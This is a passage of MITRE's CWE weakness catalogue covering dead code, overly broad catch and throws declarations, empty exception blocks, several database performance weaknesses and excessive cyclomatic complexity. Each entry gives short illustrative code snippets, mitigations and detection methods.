The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1164Irrelevant Code
CanFollowVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.570Expression is Always False
CanFollowVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.571Expression is Always True
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1164Irrelevant Code
CanFollowVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.570Expression is Always False
CanFollowVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.571Expression is Always True
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Implementation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.
Other

Technical Impact: Reduce Maintainability

+ Demonstrative Examples

Example 1

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

(bad code)
Example Language: C++ 
String s = null;
if (b) {
s = "Yes";
return;
}

if (s != null) {
Dead();
}

Example 2

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

(bad code)
Example Language: Java 
public class DoubleDead {
private void doTweedledee() {
doTweedledumb();
}
private void doTweedledumb() {
doTweedledee();
}
public static void main(String[] args) {
System.out.println("running DoubleDead");
}
}

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

(bad code)
Example Language: Java 
public class Dead {
String glue;

public String getGlue() {
return "glue";
}
}
+ Observed Examples
ReferenceDescription
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).
+ Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Binary / Bytecode Quality Analysis
  • Compare binary / bytecode to application permission manifest

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Automated Monitored Execution

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Permission Manifest Analysis

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source Code Quality Analyzer
Cost effective for partial coverage:
  • Warning Flags
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.886SFP Primary Cluster: Unused entities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMSC07-CDetect and remove dead code
SEI CERT Perl Coding StandardMSC00-PLExactDetect and remove dead code
Software Fault PatternsSFP2Unused Entities
OMG ASCMMASCMM-MNT-20
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-20. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
Anonymous Tool Vendor (under NDA)
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, References, Relationships, Taxonomy_Mappings, Weakness_Ordinalities

CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
+ Extended Description
Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.221Information Loss or Omission
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.705Incorrect Control Flow Scoping
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Non-Repudiation
Other

Technical Impact: Hide Activities; Alter Execution Logic

+ Demonstrative Examples

Example 1

The following code excerpt handles three types of exceptions in an identical fashion.

(good code)
Example Language: Java 
try {
doExchange();
}
catch (IOException e) {
logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {

logger.error("doExchange failed", e);
}
catch (SQLException e) {

logger.error("doExchange failed", e);
}

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

(bad code)
 
try {
doExchange();
}
catch (Exception e) {
logger.error("doExchange failed", e);
}

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3887PK - Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.960SFP Secondary Cluster: Ambiguous Exception Type
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOverly-Broad Catch Block
Software Fault PatternsSFP5Ambiguous Exception Type
OMG ASCSMASCSM-CWE-396
OMG ASCRMASCRM-CWE-396
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 9: Catching Exceptions." Page 157. McGraw-Hill. 2010.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-396. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-396. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
7 Pernicious Kingdoms
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-09-24CWE Content TeamMITRE
Removed C from Applicable_Platforms
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Overly-Broad Catch Block

CWE-397: Declaration of Throws for Generic Exception

Weakness ID: 397
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
+ Extended Description
Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.221Information Loss or Omission
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.703Improper Check or Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.705Incorrect Control Flow Scoping
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Non-Repudiation
Other

Technical Impact: Hide Activities; Alter Execution Logic

+ Demonstrative Examples

Example 1

The following method throws three types of exceptions.

(good code)
Example Language: Java 
public void doExchange() throws IOException, InvocationTargetException, SQLException {
...
}

While it might seem tidier to write

(bad code)
 
public void doExchange() throws Exception {
...
}

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Example 2

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.

(bad code)
 
int myfunction() throw(std::exception) {
if (0) throw out_of_range();
throw length_error();
}

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3887PK - Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.960SFP Secondary Cluster: Ambiguous Exception Type
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
+ Notes

Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOverly-Broad Throws Declaration
The CERT Oracle Secure Coding Standard for Java (2011)ERR07-JDo not throw RuntimeException, Exception, or Throwable
Software Fault PatternsSFP5Ambiguous Exception Type
OMG ASCSMASCSM-CWE-397
OMG ASCRMASCRM-CWE-397
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-397. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-397. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
7 Pernicious Kingdoms
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-09-24CWE Content TeamMITRE
Removed C from Applicable_Platforms
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Overly-Broad Throws Declaration

CWE-1069: Empty Exception Block

Weakness ID: 1069
Abstraction: Variant
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.
+ Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1071Empty Code Block
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.1071Empty Code Block
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Reliability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-RLB-1
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-1. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1049: Excessive Data Query Operations in a Large Data Table

Weakness ID: 1049
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software performs a data query with a large number of joins and sub-queries on a large data table.
+ Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-4
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-4. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1067: Excessive Execution of Sequential Searches of Data Resource

Weakness ID: 1067
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.
+ Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1176Inefficient CPU Computation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-5
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-5. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1094: Excessive Index Range Scan for a Data Resource

Weakness ID: 1094
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software contains an index range scan for a large data table, but the scan can cover a large number of rows.
+ Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpetation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.405Asymmetric Resource Consumption (Amplification)
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.405Asymmetric Resource Consumption (Amplification)
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Performance

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1132CISQ Quality Measures - Performance
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCPEMASCPEM-PRF-7
+ References
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-7. 2016-01. <http://www.omg.org/spec/ASCPEM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-1121: Excessive McCabe Cyclomatic Complexity

Weakness ID: 1121
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.
+ Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1120Excessive Code Complexity
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.1120Excessive Code Complexity
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCMMASCMM-MNT-11
+ References
[REF-963] Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996-07. <https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_MAKING_A_SCIENCE_OF_RISK_ASSESSMENT>.
